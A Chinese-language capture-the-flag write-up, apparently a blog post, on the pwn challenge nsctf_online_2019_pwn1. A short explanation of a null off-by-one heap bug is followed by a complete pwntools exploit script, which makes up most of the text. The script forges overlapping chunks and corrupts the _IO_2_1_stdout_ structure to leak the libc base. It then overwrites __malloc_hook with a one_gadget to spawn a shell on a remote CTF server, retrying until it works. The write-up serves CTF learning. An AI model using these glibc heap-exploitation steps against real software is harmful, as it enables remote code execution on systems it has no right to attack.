0%

nsctf_online_2019_pwn1

首先,检查一下程序的保护机制

然后,我们用IDA分析一下

Edit功能里存在一个null off by one漏洞

没有show功能

我们可以利用fastbin attack,修改IO_2_1_stdout的_IO_write_base,这样,当再次调用puts或printf的时候,就会泄露出_IO_write_base~_IO_write_ptr之间的数据,更详细的可以查看我的这篇博客https://blog.csdn.net/seaaseesa/article/details/105590591

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *

#context.log_level = 'debug'
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
_IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_']
malloc_hook_s = libc.symbols['__malloc_hook']
one_gadget = 0xf1147

def add(size,content):
sh.sendlineafter('5.exit','1')
sh.sendlineafter('Input the size:',str(size))
sh.sendafter('Input the content:',content)

def delete(index):
sh.sendlineafter('5.exit','2')
sh.sendlineafter('Input the index:',str(index))

def edit(index,size,content):
sh.sendlineafter('5.exit','4')
sh.sendlineafter('Input the index:',str(index))
sh.sendlineafter('Input size:',str(size))
sh.sendafter('Input new content:',content)

def exploit():
#0
add(0x80,'a')
#1
add(0x68,'b')
#2
add(0xF0,'c')
#3
add(0x10,'d')

delete(0)
#null off by one
edit(1,0x68,'b'*0x60 + p64(0x70 + 0x90))
#形成overlap chunk
delete(2)
add(0x80,'a') #0
add(0x68,'b') #2与1重合
add(0xF0,'c') #4
delete(0)
edit(2,0x68,'b'*0x60 + p64(0x70 + 0x90))
#重新形成overlap chunk
delete(4)

#chunk1放fastbin
delete(1)
#main_arena指针传递到chunk1的fastbin的fd
add(0x80,'a') #0
#0重新放入unsorted bin合并
delete(0)
#低字节覆盖fd,使得有一定几率指向_IO_2_1_stdout_附近
add(0x80+0x10+2,'a'*0x80 + p64(0) + p64(0x71) + p16((2 << 12) + ((_IO_2_1_stdout_s-0x43) & 0xFFF))) #0
add(0x68,'b') #1
#申请到stdout上方,篡改stdout达到数据泄露
payload = '\x00'*0x33 + p64(0x0FBAD1887) +p64(0)*3 + p8(0x88)
add(0x59,payload) #4
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - libc.symbols['_IO_2_1_stdin_']
if libc_base >> 40 != 0x7F:
raise Exception('error leak!')
malloc_hook_addr = libc_base + malloc_hook_s
one_gadget_addr = libc_base + one_gadget
print 'libc_base=',hex(libc_base)
print 'malloc_hook_addr=',hex(malloc_hook_addr)
print 'one_gadget_addr=',hex(one_gadget_addr)
delete(1)
edit(2,0x8,p64(malloc_hook_addr - 0x23))
add(0x68,'b') #1
#申请到malloc_hook-0x23处
add(0x60,'\x00'*0x13 + p64(one_gadget_addr)) #5
#getshell
sh.sendlineafter('5.exit','1')
sh.sendlineafter('Input the size:','1')


while True:
try:
global sh
#sh = process('./nsctf_online_2019_pwn1')
sh = remote('node3.buuoj.cn',26396)
exploit()
sh.interactive()
except:
sh.close()
print 'trying...'